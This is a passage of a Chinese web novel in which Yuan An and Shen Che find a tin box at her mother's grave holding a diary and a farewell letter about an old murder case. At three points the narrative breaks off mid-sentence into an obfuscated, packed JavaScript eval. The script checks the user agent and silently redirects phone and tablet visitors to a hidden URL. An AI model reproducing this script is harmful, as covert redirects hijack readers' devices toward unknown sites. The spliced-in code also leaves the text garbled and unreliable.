岁月无声流过,斑驳地落在原安已然成熟的脸上。 “妈妈前些天给我发微信,说今年临时有事来不了,让我连着她的份一起,过来看看您。” 原安在原婉墓前蹲下身,用带来的素巾,沾了清水,开始仔细而轻柔地擦拭墓碑:“您别怪她,这么多年,她第一次缺席,一定是有非常重要非常紧迫的事情要忙。” 话虽如此说,但原安只要一想到林心楠那条语焉不详的微信,不安便再次涌上心头。 一旁的顾巍察觉出了她的情绪,适时上前,像从前一样安抚性地轻拍她的肩膀,柔声安慰道:“别担心,心楠阿姨不会有事的。” 她侧过头,仰望顾巍,不知为何,心底的不安不减反增。 却在这时,一阵急促凌乱的脚步声打破了竹林的静寂。 7. 第 7 章 原安瞬间回神,警惕起身,循声望去。 便见晨光碎影中,一个熟悉的颀长身影正步履匆匆地向着她的方向快步走来。 这大概是原安第一次见到如此失态的沈澈。 他显然走得极快,甚至带着小跑。素来一丝不苟的额发被山风拂乱,向来温润如玉的面庞此刻绷得很紧。他的风衣衣襟外敞,随着他疾走的步伐在身后翻飞,露出内里挺括的白衬衫。许是因为真的走得太急太热,向来系纽扣会系到风纪扣的他,这次竟然松开了最上方的两颗纽扣,连带着胸前的领带也被扯得歪斜了些许。 而最让原安心惊的,是沈澈的眼神。那双素来平静无波的浅棕色眼眸里,此刻正翻涌着她从未见过的、浓烈得化不开的惊涛骇浪。 这太不正常了。 这完全不是她所熟悉的那个温和有礼的沈澈。 原安不自觉后退了一步。 沈澈很敏锐地察觉到了她的惊惧,急忙刹住脚步,停在了距离她几步之外的地方。 他的呼吸尚未平复,胸膛微微起伏,目光却如有实质般在原安和她身后的原婉墓碑之间来回逡巡。 这样的目光让原安感到冒犯。 她上前一步,挡住了原婉的墓碑。 “沈老师,”原安开口,声音比初春的山风还要冷,“你来这里,是有什么事吗?” 沈澈猛地回神,意识到了自己的严重失态。 他抬手扶了扶鼻梁上根本没有度数的金丝眼镜,借着这个动作,掩住眼底的波涛惊澜。 “抱歉,原小姐。” 待他放下手,强大的自控力已经压下了翻腾的心绪。 镜片后的桃花眼一如既往,含情潋滟,温和温雅。 他对着原安笑笑,再开口时,清越声线平稳如常,语气里甚至带上了恰到好处的歉意:“方才实在失礼。只因今晨上山祭拜家叔时,偶然听云栖禅寺的方丈慧明提起家叔一些旧闻,一时情难自禁,见笑了。” “旧闻?”原安很敏锐地捕捉到了关键词。 “是啊。”沈澈上前一步,目光落回原婉墓碑之上。 一个眨眼,完美借口已经出现在了他的脑中。 他看着墓碑,姿态恭敬而自然,仿佛真的只是一个偶然得知长辈故人下落的晚辈:“实不相瞒,慧明大师同我说,家叔沈翔生前有一位名为原婉的……故交。两人情投意合,情深义重,本该是一对璧人,奈何天妒良缘,造化弄人。” “方丈感怀故人情深,特嘱我代为献上一炷心香,以慰逝者在天之灵。未曾想,竟如此巧合,在此遇上原小姐。” 沈澈的话滴水不漏,合情合理,姿态坦荡,他说到最后,甚至还微微躬身,对着原婉的墓碑行了一礼。他的动作流畅自然,带着世家子弟刻在骨子里的教养,以及,对逝者的尊重。 原安抿了抿唇。 对于原婉和沈翔当年的悲剧,她也曾听林心楠提过一些。在林心楠的描述里,沈翔出身世家,人品贵重,才华横溢,重情重义,是个同原婉一样的难得的好人。 只可惜,这个世道,好人向来不长命,沈翔最终和原婉一道,被人谋害在屏江,至今身负污名。 林心楠的一生,几乎都在为沈翔和原婉当年的案子奔波。 也是因为这样,一年前,原安在调查高纯石英材料领域系列非正常死亡事件时,在确认事涉沈翔后,她力排众议,坚持要将案子上报首都特侦局。 她希望特侦局就此介入,从官方层面帮林心楠一把。 只可惜,事与愿违,直到绑架案发生,特侦局都没有介入。只是因为绑架案牵连甚广、影响巨大,惊动了省厅,专案组需要她这个唯一幸存者的证词和线索,所以,为她请来了国内顶尖心理学专家江逾白教授进行心理治疗。 她也因此结识了江教授的科研助理兼得意门生,沈澈。 结果,到头来,这个沈澈竟然是沈翔的侄子吗? 原安垂下眼帘,一瞬间觉得这世界也真是够小的。 “原来沈老师是晋阳沈氏子弟,有心了。” 原安对着沈澈微微躬身还礼,声音依旧清冷,带着疏离的客套。 她退开一步,侧过身,算是默许了沈澈的祭拜行为:“只是我才刚到不久,尚未清理洒扫。沈老师不如原地稍待片刻?” “祭拜讲究心诚,”沈澈敏锐捕捉到原安语气中那丝因为晋阳沈氏和沈翔而产生的微妙软化,心中微定,当下决定趁热打铁,重新和原安建立新的联系和信任,“若不介意,我也一起帮忙吧。” 沈澈说着,自告奋勇地接过更需要体力的拔草工作,将较为轻松的擦拭墓碑的工作留给原安。 原安对此安排并无异议。她将手中布巾重新沾了清水,蹲下身,继续仔细擦拭墓碑。 阳光透过竹叶,洒在两人身上,光影斑驳,气氛正好。 原安慢慢拭去墓碑底端最后一点青苔痕迹,目光习惯性地扫过墓碑基座与泥土相接的边缘。 却在这时,一丝极其细微的异样感攫住了她。 墓碑底端,杂草丛生,但在靠近石基边缘的一小片地方,生长的杂草较周围明显稀疏矮小,草株看上去也不如周围同类茂盛,有些草株甚至微微歪斜,透着一股孱弱感。 原安俯下身,伸出指尖,小心翼翼地拂开表面杂草。指腹下的泥土触感很硬,略显板结。她低下头仔细观察,便发现这一小片杂草之下的泥土颜色明显与周围饱含腐殖质的深褐色不同,带着一种被翻动后重新埋上、又经风吹雨打后形成的浅淡灰黄。 有人曾经翻动过这里的土,而且至少已经是数月甚至一年之前的事情了。 这个认知让原安心中猛地一沉。 原婉去世多年,墓地少有人知,平日更有寺中僧众帮忙看护,谁会到她的墓前如此造次? 原安蹙眉,本能地觉得事情并不简单。 等到沈澈料理完周边杂草,走回原安身边,就看到原安正用手指费力地沿着墓碑底端向下刨开泥土。 她的动作带着明显的急切,似乎想要印证自己的猜想。 沈澈扫了一眼泥土,当即就明白了过来。他快步走到原安身边蹲下,一把抓住原安正在刨土的手。 那双白皙的手已经沾满了泥垢,指尖部分遍布伤口,有的还渗出了鲜血。 沈澈狠狠蹙眉,不由分说,宽大手掌一把圈住原安的两只手腕,就要拉她起来。 “这里的土曾经被动过。”原安奋力挣扎,漂亮的杏眼里闪动着明显的急切,“沈老师,这有问题。” “我知道,但土不是这样挖的。”沈澈声音低沉,隐约带了点薄怒,“你已经受伤了。” 他难得强势地不顾原安挣扎,一手将她从墓碑旁拉起。他用的是巧劲,虽然没有很用力,但原安就是挣脱不开。 他将她带到墓碑前,弯下腰,用空出的那只手从她带来的小篮子里拿了一块没有使用过的干净布巾,沾水拧干,为她擦拭伤口。 他动作熟练,眼神专注,手法利落,完全没有半点平日里温文尔雅的助理模样。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447667|185168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 原安看着他,只觉得今天的沈澈非常不对劲。 没一会儿,沈澈处理好了伤口。 他这才放开原安,冷静下结论道:“伤口有些多,个别还挺深。这里工具有限,我只清理了表面泥垢。为了避免感染,下山之后,你得去前台要瓶酒精再次消毒,然后再涂抹药膏,近期避免沾水。” “我知道了。”原安讪讪收回手,眼神躲闪,“谢谢沈老师。” 沈澈没再多言。他从原安的小篮子里取出铲子,走到墓碑边,动作利落地沿着原安之前挖开的地方,继续向下挖去。 原安乖巧站在一旁,静静看着沈澈用铲子将坚硬的泥土一点点刨开。 很快,泥土之下藏着的东西就显了轮廓。 那是一个银色磨砂式样的中型方形铁盒。铁盒四角设有马口卡口牢牢扣住,铁盒正面绘有几个哥特字母样式的商标,设计独特,造型别致。 这铁盒原安并不陌生,是她所钟爱的某款进口高档巧克力的包装礼盒。 原安小的时候,不爱吃饭,酷爱零食,尤其爱吃巧克力。林心楠在这方面也不拘着她,甚至专门给她整了个柜子,让她可以自由存储她所喜欢的各式巧克力。 后来原安进入青春期,少女爱美的本性被彻底激发。有一次寒假结束,原安震惊发现,自己因为贪嘴,导致一个寒假竟然胖了整整十斤。她如遭雷劈,自此狠下决心,将一柜子的巧克力全部打包丢进垃圾桶,并严厉发誓从此再也不碰巧克力。 但多年的喜好,哪里是说断就能断的呢?或许只有林心楠知道,每次母女一同逛超市,路过零食区时,原安都会眼馋得看着货架上琳琅满目的巧克力,好久走不动路。 这样的次数多了,林心楠也看不下去了。有一次,林心楠去国外考察,回来的时候,就给她带了这款进口黑巧。 林心楠和她说,这是朋友推荐的牌子,配料表干净不说,比起寻常那些苦得发涩的黑巧,它的味道相对醇厚,是一款很难得的既能解馋还不发胖的巧克力。 有了林心楠的这句担保,原安这才勉勉强强,又重新吃上了巧克力。 很久之后,她才从林心楠的一位合作伙伴口中得知,哪有什么朋友推荐啊,是林心楠自己默默试吃了近百种巧克力,才给她找到了这款黑巧。那之后很长时间里,别说是看到巧克力,林心楠就算是闻到巧克力的味道都会想吐。 温言笑语犹在耳畔,眼前却只剩下了那个沾满泥垢的冰冷铁盒。 原安垂下眼眸,蹲下身,不顾铁盒表面的泥垢,将铁盒紧紧抱进怀里,仿佛还能从上边感受妈妈残留的温度。 沈澈静立一旁,目光灼灼,专注观察。 此刻的他,仿佛又变回了从前那个让所有嫌疑人都闻风丧胆的人型测谎仪,专业、冷漠、精密。 他捕捉着原安脸上每一个细微的表情变化,看着她从最初看到铁盒时的惊讶,到认出盒上品牌商标时瞬间的怔忡,再到后来眼中倾泻而出的孺慕之情,以及最后那几乎是出于本能的、将铁盒紧紧环抱入怀的保护姿态。 他基本可以确定,这铁盒大概率是林心楠留给她的。 但林心楠是原安的母亲,以她的身份,会选择以这样私密而隐蔽的方式传递给原安的,绝对不会是什么寻常事物。 所以,铁盒里一定藏着非常重要的线索。 而且大概率和他所追查的那起疑点众多的绑架案有关。 想到这里,沈澈眼神骤然锐利。 这个线索,他势在必得。 8. 第 8 章 无声地将铲子插进一旁的泥里,沈澈后退一步,轻提裤腿,以一种不带压迫感的姿态,慢慢蹲在原安身边。 他平视原安,没有催促,没有发问,只是带着一种近乎悲悯的理解,深深地叹了口气。 那叹息像羽毛,轻轻拂过凝滞的空气。 “原小姐,”沈澈的声音比山风更轻柔,带着一种抚慰人心的力量,“我猜,这个盒子是你的亲人留给你的,对吗?” 原安闻言,身体很明显地僵硬了一下。 她低着头,没有说话,只是下意识将盒子抱得更紧。 这近乎本能的守护姿态,无形中已经说明了一切。 “我明白,这个铁盒对你而言,意义非凡,我相信,对于那个埋下铁盒的人,同样也是。”沈澈将声音放得更缓,带着循循善诱的引导,“否则,她绝对不会选择以这种方式,把铁盒交到你手上,你说对吗?” 原安依然低着头,不言不语,但沈澈却发现,她没有再如同他刚开口时那样,对他流露出防御性的姿态了。 沈澈知道,自己大概应该是切中了她的想法。 于是,他引导着她,顺着这个思路,继续挖掘:“原小姐,今晨我与慧明大师闲谈之际,曾向大师求证过,这片竹林是云栖禅寺专门为令堂所辟的清净之所,整座后山,除了几个负责打扫清理的寺僧外,闲杂人等,少能入内。” “这铁盒埋得不浅,却破绽百出,如此矛盾,只有一种解释,就是这个埋下铁盒的人,她即希望有人能够找到这个铁盒,却又害怕那人找到铁盒。因为她知道,这个铁盒里装着的东西,很可能会给找到它的人带来危险。” “她矛盾过,纠结过,可是最后,她还是决定将东西埋进泥里。为什么呢?” 沈澈说到这里,不自觉停顿了一下,语调下降,染上一丝恰到好处的沉重:“我大胆推测,这个埋铁盒的人,当时应该正身处巨大的危机之中,她想要向你传递某些重要信息,但因为一些客观原因,她无法直接告知于你。” “她知道,云栖禅寺的后山绝对安全,且你每年今日都会来这里给母亲扫墓。这是你们家的惯例,绝对不会引起任何的怀疑。所以,她避开了所有的耳目,独自来到这里,不惜扰动逝者安宁,也要埋下铁盒。” 说完这些,沈澈的目光不经意重新落回原安脸上。 原安依然低垂眉眼,维持着最初姿态毫无改变,看上去,像是对他的话充耳不闻。 不应该啊。 沈澈蹙眉,抿唇思考片刻,迫不得已加重了施压力度。 他的语调陡然下沉,声音带着略微紧迫感:“所以,原小姐,这里面装的绝对不会是什么黑巧克力。若我猜的没错,这里面应该装有非常重要的信息。可能是未尽的嘱托,可能是关乎你安危的警示,甚至……有可能是她绝望中的求救信号!” “求救信号”四字宛若惊雷,在原安脑中轰然炸响! 她一直努力强撑的平静面具,终于随着这四个字的落下,彻底土崩瓦解。 她咬紧牙关,努力不让自己呜咽出声。 但泪水蓄满眼眶,到底不堪重负,顺着面颊滚落,还是狠狠砸在了铁盒面上。 “啪嗒”一声轻响,好似心碎声音。 沈澈看着盒面上方迅速晕染出的浓重悲伤,生平第一次,他感觉到了自己的卑鄙。 沈澈闭了嘴,垂下眼,一股强烈的、混合着自我厌恶与巨大愧疚的复杂情绪,瞬间席卷了他。 他刚才在做什么? 他在用对付穷凶极恶的罪犯的心理学技巧,去对付一个因为协助办案、惨遭绑架从而患上严重心理疾病的警方特别顾问。 他在利用一个女儿对她母亲的担忧和爱,用类似求救信号这种明知是假的残酷字眼,去攻破她的心理防线,去逼迫她打开母亲留下的、可能是唯一遗物的铁盒。 尤其这个女儿有一定概率是他叔叔的女儿。 尤其这个母亲很可能在他们沈家不作为的时候,挺身而出,找到他流落在外的堂妹,视如己出,教养得如此出色。 尤其这里还躺着原婉,他叔叔的爱人,原安可能的亲生母亲。 沈澈闭上眼。 生平第一次,他为自己的行为,难堪到抬不起头。 不能再继续了。 线索可以再找,真相可以再查,方法手段,他多得很。 但至少不能以这种方式,至少不能在这个地方。 深吸一口气,再睁开眼时,沈澈决定遵从自己的心。 于是,话锋一转,步步紧逼的施压就变成了真诚真挚的建议:“对不起,原小姐,方才我的所谓推测,大部分都是胡诌的,你别往心里去。但有一点是肯定的,无论这盒子里面装的是什么,这个信息对当下的你而言,一定非常重要。我认为你应该尽快打开查看。” 他说完,干脆利索站起,后退半步,让出绝对的安全距离,然后转过身,道:“我去外面等你。” 他说完,抬腿便要向竹林外走去。 却在这时,他感觉自己的西装裤脚被人抓住了。 低下头,看到的却是原安的发顶。 她依然低垂着脑袋,声音自下而上闷闷传来:“沈澈,你不是坏人,对吧?” 沈澈一愣,整个人像是被定在了原地。 她没有叫他沈老师,也没有喊他沈先生,而是叫他沈澈。 这说明,她提问的对象不是江逾白教授的科研助理,不是晋阳沈氏子弟,只是单纯沈澈这个人。 她被他的一系列话术,刺激得极度脆弱、极度混乱、极度缺乏安全感,所以才会在感知到他最后释放出的一丁点善意的时候,有了这句充满孩子气的确认。 她现在需要的,是一个超越助理职责、超越沈家身份、仅仅只来自于沈澈个人的承诺。 这个承诺很重,重到无论盒子里装的是多重要的线索,都不值得他如此。 但这个承诺他想给。 除了那一点她是他堂妹的可能,更重要的是,她是原安。 是她翻出了沈翔“自杀”背后的阴谋,是她力排众议坚持要让特侦局介入。因为她,他才有了重查旧案的机会,可她却因此失去了亲人、健康、事业,生活全线崩塌。 他欠她的,不是吗? 沈澈叹了口气,重新退回她的身边。 “我不是坏人。”他后退半步,单膝点地,看着原安,郑重承诺,“无论今后发生什么事,只要不违法,我都会倾尽全力帮助你、保护你。” 君子一诺,五岳为轻。 至此,永受束缚,不离不弃。 仿佛等了有一个世纪那么长,原安的声音才低低地再次传来。 “我手受伤了。”她依然低着头,声音沉闷,仔细听,似乎还带着一丝强行按下的呜咽,“你能帮我……打开吗?” “好。” 应下这个请求后,沈澈依然维持着单膝点地的姿态,没有任何进一步的动作。 他没有伸手,也没有催促。 他在等她主动把铁盒交给他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447668|185168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他知道她还在挣扎,但没关系,他有的是耐心。 不知又过了多久,原安的肩膀几不可察地松动了一下。 她像是刚从深海浮出水面一般,深深地吸了口气,而后,借着这□□气,慢慢重新挺直了脊梁。 她微微别过脸,抬起手,在沈澈看不见的角度,借着整理鬓角的动作,不着痕迹地拭去眼角的泪水。 然后,她又变回了那个沈澈所熟悉的原安,优雅得体,温柔端庄,礼仪完美,从上到下挑不出一丝错处。 她抬起手,将铁盒递给他。 细白手臂还在颤抖,却带着一往无前的勇气和孤注一掷的决绝。 “给。” 沈澈的心莫名就颤动了一下。 他低下头,珍之重之接过铁盒,几乎是下意识般微微颔首。 即是对林心楠,也是对原安。 而后他依次打开铁盒四角的马口卡扣,用指尖抠住铁盒边缘,稍用了些力。 伴随着一声滞涩的咔哒声,盒盖应声而开。 铁盒里装着的,是两个并排放置的密封袋。 左侧密封袋中封着一本陈旧的灰蓝色日记本,右侧密封袋里则封着一封手写信。 素白信封表面,是用黑色签字笔写成的“原安亲启”四个大字,龙飞凤舞,刚劲有力,毫无疑问,出自林心楠之手。 原安拿过信件,拆开密封袋,从未封口的信封里抽出了里头的信纸。 信纸上是林心楠熟悉的字迹。 “安安:当你看到这封信的时候,妈妈应该已经不在了……” 一句话,宛如一记重锤,狠狠砸在原安心上。 虽然对此早有预感,但真的看到林心楠以这样的话语开篇,原安长久以来强压下去的不安,终于混合着悲痛,不受控制地涌上心头。 她急忙抬头,仰望天空,不让眼中泪水坠落。 她今天已经流了太多眼泪了,而现在,绝对不是能够肆意悲伤的时候。 更何况,这里还有一个沈澈。 原安抿着唇,迎着风,努力眨眼,反反复复深呼吸了数次。 她想她的眼部应该已经足够干燥了。 很好,那就带着理好的情绪,继续阅读林心楠的信吧。 这样想着,原安低下头,准备重新拿起信,继续阅读。 视野范围内却突然出现了一块精致的英伦格手帕。 她有些诧异地顺着拿手帕的手,看向手帕的主人。 手帕的主人不知何时,已经换了一个姿势,挨着她,坐在了杂草丛生的泥地上。 他怀里抱着铁盒,一反常态不太优雅地席地而坐,完全不顾及自己昂贵的西装裤上,已经沾满了湿冷的泥垢和杂乱的草屑。 他没有在看她,视线不太合理地落在了远处的山峦上。 “有的时候,稍微任性一下,也是可以的。我不会看的。”沈澈淡淡开口,拿手帕的手却平稳无比,“今天的风这么大,我什么也听不到。” 他说得一派闲适,一身坦荡,若非还有一只手正在朝她递手帕,看起来简直就像是个扫墓途中累了、临时找了个地方坐下、欣赏风景的年轻后生。 原安看着眼前的手帕。 手帕离她不近不远,正如沈澈这个人一样永远分寸正好。 她一低头,甚至还能闻到手帕上淡淡的木质冷香。 她最喜欢的木质冷香。 安心温柔到令人无法抗拒的木质冷香。 真是要命。 9. 第 9 章 原安最终还是抬起头,稍稍拉远了自己与手帕间的距离。 她终于闻不到那好闻到让鼻子发酸的木质冷香了。 “谢谢你,沈老师。”她终于找回了她引以为傲的理智,侧过头,对沈澈挤出一丝勉强的笑,“但时间不早了,若不抓紧,之后的祭拜,就要拖到晚上了。” 沈澈闻言,微不可查轻轻蹙眉。 但他还是收回手,选择尊重她的决定。 于是,信纸被重新展开,这一次,原安将它摊在了两人中间。 林心楠的话语如她的笔锋一样,温柔却有力度。 “安安: 当你看到这封信的时候,妈妈应该已经不在了。 你可以为我难过,这是人之常情,但你一定不能过度沉湎,裹足不前。 你一定要坚强,一定要振作,因为你现在的处境,远远比我写下这封信时,还要危险。 我知道你一直不喜欢我追查沈翔和原婉的案子,因为太危险,简直以卵击石。但人生在世,总有些事情不得不做。 我的前半生过得非常坎坷。 我有个赌鬼爹。七岁那年,我妈被他打死了,在那之后,每当他喝醉或者赌输了,就会对我拳打脚踢。十五岁时,他以200元的价格将我卖给村口五十多岁的老光棍当媳妇,我不甘心,于是新婚当夜装鬼,把那老头打晕,趁夜跑出了大山。十七岁,我轻信同乡,被卖进夜场,他们扒了我的衣服,把我推进了包厢…… 那时候真的连我自己都认命了。 是原婉在最后时刻救下了我。 她冒着生命危险,打碎了警报器,在一片混乱和浓烟中,拉着我逃出了那个人间地狱。 她带我回了她的出租屋,给了我一片遮头瓦。她给我饭吃,教我读书写字,鼓励我不要放弃。她是我晦暗命运里唯一的光,为了婉婉姐,我可以做任何事情,无论付出什么代价。 沈翔的出现,完全是个意外。 后来我总在想,如果当年,沈翔好好留在首都做他的贵公子,不要招惹婉婉姐,不要招惹我们这群普通人,那么,后面的所有事情,是不是就不会发生了? 可如果没有沈翔,我不会知道,原来知识可以改变命运,真爱可以超越门第,每个人都可以被公平平等地对待。 如果没有沈翔,我想我大概已经死在二十四年前吴门公馆的那场大火里了。 是沈翔,用他自己的命,换了我的命。救命之恩,我当以命相报。 沈翔和原婉,算是我坎坷的前半生里,遇见的为数不多的真正的好人。可偏偏是他们,被顾琳和原健那对狗男女因为一己之私害死在了屏江,死得那样凄惨痛苦、身败名裂。 而现在,顾琳还盯上了你。 她计划如法炮制,重演二十四年前的悲剧。 安安,这不是危言耸听。我和顾琳斗了整整二十四年,我比你了解她。她已经知道了你的身世。于她而言,你是她失败的见证,是她耻辱的象征,像她这么一个骄傲又偏执的毒妇,她一定会想方设法抹杀你的存在,就像当年她虐杀强硬和她退婚的沈翔一样。 我知道你这时候一定想说,顾巍能护得住你。但我要明确告诉你的是,他护不住。那小子和他爹一样,都是顾琳手里的提线木偶。我相信他是真的爱护你,我也相信他会愿意为你付出所有,包括他的生命,但他救不了你,因为你们的对手是顾琳,是生养他、培育他的远洲集团。他夹在中间能够为你奉上的最高诚意,就是陪你一起死。 但是安安,我不要你死。 我要你活着。 我要你连着我的份、连着你原婉妈妈的份一起,漂漂亮亮地活着。 你这一路走来,遇到多少坎坷,战胜多少挫折,妈妈都看在眼里。你走得这样难,不是为了让你在最好的年华里,陪一个男人去死的。 我知道顾巍在你心中的分量,我也感激顾巍为你做的一切。毕竟,是他在我看不到的地方为你挡风遮雨,甚至,为你创立了安隅文化。 但安安,扪心自问,你真的没有察觉,这份极致的守护,已经成了让你们都无法挣脱的温柔禁锢了吗?一个安隅,你走不出去,他也困守其中。你们在这座黄金笼里,日日相对,互相折磨,明知不可能却都不肯放手。这对彼此,都是一场凌迟。 所以,安安,就当是妈妈求你了,最后再听妈妈一次劝吧。 离开顾巍,离开安隅,不要再折磨自己,也不要再囚禁自己了。 你这么优秀又这么聪明,年纪轻轻,已经荣光满身,你完全配得起更好的人生。 其实说到底,事情会发展成今天这样,最大的错,在我身上。这么多年,我一直极力想要避免让你搅和进我们这些上一辈人的恩怨里。我本以为,我可以靠着自己的力量,将所有事情终结,我本希望可以把你完完全全地摘出去,让你干干净净地活在阳光下。但现在看来,是不可能了。 所以,安安,我必须要把这些不堪的往事全部告诉你,只有这样,你才知道该怎样反击、该怎样有效地保护好自己。 铁盒里的记事本,是妈妈最重要的日记,里面记录了当年所有的一切,这是我能留给你的最后的线索。我要你知道所有的来龙去脉,然后根据妈妈留下的线索,查清所有真相,去撕下那些伪善者的画皮。 我知道这很危险,我也知道这很艰难,但是,我真的没有其他办法了。 与其坐以待毙,不如主动出击。 如果真有一天,你走到山穷水尽之处,你知道要去找谁。不要顾忌你那点骄傲和尊严,他比你想象中的更疼你。 安安,妈妈只能护你到这里了,后面的路,你要靠你自己走下去了。 但你不要怕,我、原婉还有沈翔,我们会一起在天上看着你,守护你。 你从来都不是一个人。 林心楠绝笔。” 绝笔二字落下,山风停滞,竹林死寂。 时间也仿佛在这一刻彻底凝固。 原安的身体猛地一晃,像是被抽干了所有力气。 她维持着低头看信的姿势,一动不动,如同石化。只有不断颤抖的肩膀和汹涌无声的泪水证明她还活着。 像是过了几个世纪那样漫长,原安仿佛终于受不了心头汹涌的情绪一般,发出一声极其压抑、如同受伤幼兽般的呜咽。 但声音出口的瞬间,她就像意识到了什么似的,死死咬住自己的下唇,努力将这些连同剩余未出口的抽噎一道强咽回去。 却不想,因此引发了更剧烈的、无法控制的呛咳。 她猛地捂住嘴,用尽最后一丝理智,强行将头撇向远离沈澈的那一侧。 剧烈的呛咳过后,是根本压抑不住的干呕。 原安痛苦地蜷起身体,却始终没有松开手中的信。 一旁紧密关注着原安状态的沈澈看到这里,终于不再纠结,果断伸手,在原安情绪彻底崩溃前,动作轻柔却不容抗拒地将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447669|185168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她手中紧攥的信纸抽走。 原安不明所以。待她察觉手中空虚、抬头寻觅时,才发现,那封林心楠留下的绝笔信,不知何时已被沈澈妥当折叠,放回了铁盒。 几乎是下意识地,原安强撑着身体的不适,艰难起身,就要抢夺。 谁料沈澈动作更快,他将自己挡在了原安和铁盒之间,强行阻断了原安伸向铁盒的手。 “呜……” 原安抽噎,但喉咙却像被什么堵住一样,只发出了破碎的气音。 她想要越过沈澈,去夺回信件,可沈澈就像一堵牢不可破的墙一样,强硬地、不容抗拒地挡在了她的面前。 委屈、痛苦、悲恸、无助,百感千绪,在心头汹涌澎湃。 挣扎中,原安感觉眼眶中似乎隐约又有了湿意。 她用力咬唇,拼命眨眼,企图再一次将它们尽数逼回。 可是这一次,却没有之前那么顺利。 沈澈动作极快地抬起她的下巴,拇指指腹带着不容抗拒的力道,稳稳地抵在她紧咬的下唇与牙齿之间。他用的依然是巧劲,没有弄疼她,却有效地阻止了她的自伤。 “原安,松开。”他看着她,眼眸深处泛起一丝他自己都没觉察的心疼,“痛就喊出来,难受就哭出来,别咬自己,别压抑自己。” 他说得那样强势,几乎是命令。但原安也只是原地愣了几秒。虽然理性思维已经被过于沉重的信件内容和巨大的情感动荡冲击地荡然无存,但她盯着沈澈那双浅棕色眸子看了片刻,还是坚定地摇了摇头。 然后她就看到那双浅棕色的眸子深处闪过了一丝疼痛。 “我不看你。今天竹林风声很大,我什么都听不到。”沈澈说着,闭上了眼,但手中阻止原安自伤的动作却没有丝毫放松,“我想,你妈妈之所以留这封信给你,想要见到的绝对不是你的崩溃。如果她看到你现在这样自伤,一定非常难过。” 话音落地,他敏锐地察觉到掌下被强压的原安,挣扎力度小了下去。 沈澈挑了挑眉,他知道自己又切中重点了。 于是,顺着这个思路,沈澈继续开口:“原安,哭出来,不要憋在心里。你妈妈在信里不也说了,你可以为她难过,也应该为她哭泣。这是人之常情。” “呜……” 一声压抑不住的抽噎飘入沈澈耳中,然后,沈澈终于听到了原安破碎的声音:“呜……可是……沈老师……呜呜……我们还有日记要看……” “日记就在这里,它跑不掉。线索是你的,真相也是你的,我在这里,没有人能夺走。”沈澈说完,手臂试探着环过原安的肩膀,将她摇摇欲坠的身体轻轻拢入自己怀中,为她短暂地提供了一个稳固的依靠。 “给自己十分钟吧,原安。任性一次,放纵一次,就十分钟,我来计时。” 原安没有再说话,却也没有再挣扎。她安静地靠在他的怀里,一动不动,像个木偶。 所以,还是没有办法信任他吗? 沈澈没来由地有些挫败和无力。 即使他做出了保证,即使他难得的感性战胜了理性,即使他破天荒地极其不专业地感情用事。 可是她还是不领情,还是不配合,还是要折磨自己、委屈自己、压抑自己。 他真是从未见过如此不听劝的病人。 他真是从未见到如此倔强要强的女人。 沈澈默不作声在心里叹气。 他到底该拿她怎么办呢? 10. 第 10 章 十分钟,六百秒,转瞬即逝。 沈澈数着心跳,对着呼吸,在山风呜咽中,眼睁睁看着他为原安争取来的“任性”在逐秒递增中逐渐流失。 他在数到五百九十二秒的时候,蓦地感觉脖颈之间似乎滚落了一滴冰凉。 沈澈挑眉,心说不是吧,气氛都已经悲伤沉重到这个地步了,老天竟然还不嫌事大横插一脚,挑这个时间下雨? 沈澈略带不满抬头,睁眼,却意外瞧见头顶日光明媚,白云悠悠。 沈澈微微瞪大双眼,终于后知后觉意识到了那是什么。 所剩无几的倒计时,在这一刻被按下了暂停键。沈澈无比清晰地感觉到,自己的衬衫领口正在被苦涩悲伤的泪水一点点晕湿。 凉意透过领口,划过锁骨,落入心底,溅起无数隐秘的、从前从未察觉过的情愫。 这情愫来得既突然又汹涌,与他之前看到的绝笔信以及那些个莫名其妙的猜测猛烈碰撞,让他一时间竟有些无措。 职业道德、私人情感与沉重的家族秘辛,在这一刻交织成一张混乱的网,将他牢牢裹住,挣脱不能。 却在这时,一丝低低的呜咽划过耳畔。沈澈骤然回神,而后感觉到自己的风衣下摆被轻轻抓住,又被很快放开。 “没关系,原安,想抓就抓吧。你做得很好。”沈澈揽着原安肩膀的手缓慢上移,安抚性地轻揉她的长发,引导道,“没事的,我在这里,你可以依靠我,我会一直陪着你的。” 于是,低低的呜咽变成了浅浅的啜泣,积蓄已久的泪水终于在这一刻彻底决堤。 